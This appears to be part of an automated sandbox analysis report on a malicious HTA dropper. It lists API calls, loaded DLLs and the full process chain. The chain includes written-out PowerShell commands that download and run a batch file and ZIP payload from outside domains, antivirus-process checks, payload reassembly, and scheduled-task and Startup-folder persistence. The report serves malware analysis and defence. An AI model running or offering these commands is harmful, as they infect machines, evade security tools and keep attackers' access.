Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\DentalSubtle
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_04607E8C2_2_04607E8C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_04608A482_2_04608A48
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_0460950E2_2_0460950E
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_0040497C16_2_0040497C
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_00406ED216_2_00406ED2
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004074BB16_2_004074BB
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF801736_2_00DF8017
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DDE1F036_2_00DDE1F0
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DEE14436_2_00DEE144
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DD22AD36_2_00DD22AD
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF22A236_2_00DF22A2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E0A26E36_2_00E0A26E
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DEC62436_2_00DEC624
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E5C8A436_2_00E5C8A4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E0E87F36_2_00E0E87F
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E06ADE36_2_00E06ADE
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E42A0536_2_00E42A05
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E38BFF36_2_00E38BFF
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DECD7A36_2_00DECD7A
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DFCE1036_2_00DFCE10
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E0715936_2_00E07159
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DD924036_2_00DD9240
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E6531136_2_00E65311
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DD96E036_2_00DD96E0
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF170436_2_00DF1704
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF1A7636_2_00DF1A76
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF7B8B36_2_00DF7B8B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DD9B6036_2_00DD9B60
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF7DBA36_2_00DF7DBA
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF1D2036_2_00DF1D20
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF1FE736_2_00DF1FE7
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A3801738_2_00A38017
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A1E1F038_2_00A1E1F0
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A2E14438_2_00A2E144
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A322A238_2_00A322A2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A122AD38_2_00A122AD
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A4A26E38_2_00A4A26E
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A2C62438_2_00A2C624
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A9C8A438_2_00A9C8A4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A4E87F38_2_00A4E87F
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A46ADE38_2_00A46ADE
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A82A0538_2_00A82A05
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A78BFF38_2_00A78BFF
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A2CD7A38_2_00A2CD7A
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A3CE1038_2_00A3CE10
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A4715938_2_00A47159
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A1924038_2_00A19240
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00AA531138_2_00AA5311
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A196E038_2_00A196E0
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A3170438_2_00A31704
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A31A7638_2_00A31A76
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A37B8B38_2_00A37B8B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A19B6038_2_00A19B60
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A37DBA38_2_00A37DBA
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A31D2038_2_00A31D20
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A31FE738_2_00A31FE7
Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: String function: 00A2FD52 appears 40 times
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: String function: 00DEFD52 appears 40 times
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: String function: 00A30DA0 appears 46 times
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: String function: 00DF0DA0 appears 46 times
Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winHTA@70/102@0/2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E441FA GetLastError,FormatMessageW,36_2_00E441FA
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E32010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,36_2_00E32010
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E31A0B AdjustTokenPrivileges,CloseHandle,36_2_00E31A0B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A72010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,38_2_00A72010
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A71A0B AdjustTokenPrivileges,CloseHandle,38_2_00A71A0B
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,16_2_004044A5
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3DD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,36_2_00E3DD87
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004024FB CoCreateInstance,16_2_004024FB
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E43A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,36_2_00E43A0E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\W2.pdfJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8948:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7396:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6832:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i1dyulfu.oiu.ps1Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\c2.bat""
Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\mshta.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\c.hta"
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\c2.bat""
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1576,i,16045763869341166772,13330645250121151550,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\msword\msword.exe msword.exe
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 361684
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Approaches
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "Korea" Measurement
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com Propose.com U
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & echo URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
Source: unknownProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow"Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\c2.bat""Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\msword\msword.exe msword.exeJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1576,i,16045763869341166772,13330645250121151550,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess created: unknown unknownJump to behavior
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 361684
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Approaches
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "Korea" Measurement
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com Propose.com U
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & echo URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & exit
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y"
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mshtml.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: powrprof.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: umpdc.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msiso.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msimtf.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxgi.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dataexchange.dllJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d11.dllJump to behavior
